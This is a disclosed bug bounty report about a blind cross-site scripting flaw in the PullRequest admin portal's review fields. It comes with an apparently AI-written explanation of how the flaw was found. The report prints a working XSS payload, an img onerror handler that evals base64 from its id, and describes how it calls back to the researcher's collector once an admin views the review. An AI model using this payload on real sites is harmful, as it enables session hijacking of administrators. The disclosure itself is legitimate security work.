Blind XSS in app.pullrequest.com/████████ via /reviews/ratings/{uuid}
A blind cross-site scripting vulnerability existed in the PullRequest admin portal, where user-supplied review fields were reflected without encoding. An attacker could execute arbitrary JavaScript in an administrator's browser when the admin viewed the review, potentially leading to account compromise or data theft.
- Triaged in 13 days
- Fixed in 14 days
- Paid in 13 days
- Disclosed after 22 days
Summary: Hi,
While researching PullRequest yesterday, I saw some "review" endpoints in web archive of "app.pullrequest.com". (http://web.archive.org/cdx/search/cdx?url=app.pullrequest.com/*&output=text&fl=original&collapse=urlkey)
One of them was https://app.pullrequest.com/reviews/ratings/6eaa6b75-b958-4530-ba46-0d00cbe74e0b/false , I went to that endpoint and filled the all fields with my blind XSS payload.
'"><img src=x id=█████ onerror=eval(atob(this.id))>
This payload sends an alert to my blind XSS application in ██████
Today (May 3, 2022, 6:09 pm UTC+3), I got a lot of alerts from https://app.pullrequest.com/███. I checked the report and I see it came from an PullRequest admin who checks reviews.
Here is a screenshot from the report :
███████
I checked the HTML source code and I see my payload reflected to Disliked_reviewers, Liked_reviewers and Reasons fields without any encoding.
You can also check the source code : █████████
Impact
Blind XSS in PullRequest admin portal
Regards, Bugra
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could run JavaScript in an administrator's browser when the admin viewed the review.
What the attacker needed
Victim (admin) views the review; attacker can submit a review
How it was found
- Find review endpoints via web archive.
- Visit a review endpoint and fill all fields with a blind XSS payload.
- Wait for an administrator to view the review.
- Receive alerts from the blind XSS application, confirming execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is a flaw where a website displays user input without cleaning it, so a malicious script runs in another person's browser. Here, the attacker filled a review form with a script that would run when an administrator looked at the review, letting the attacker act as the admin.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.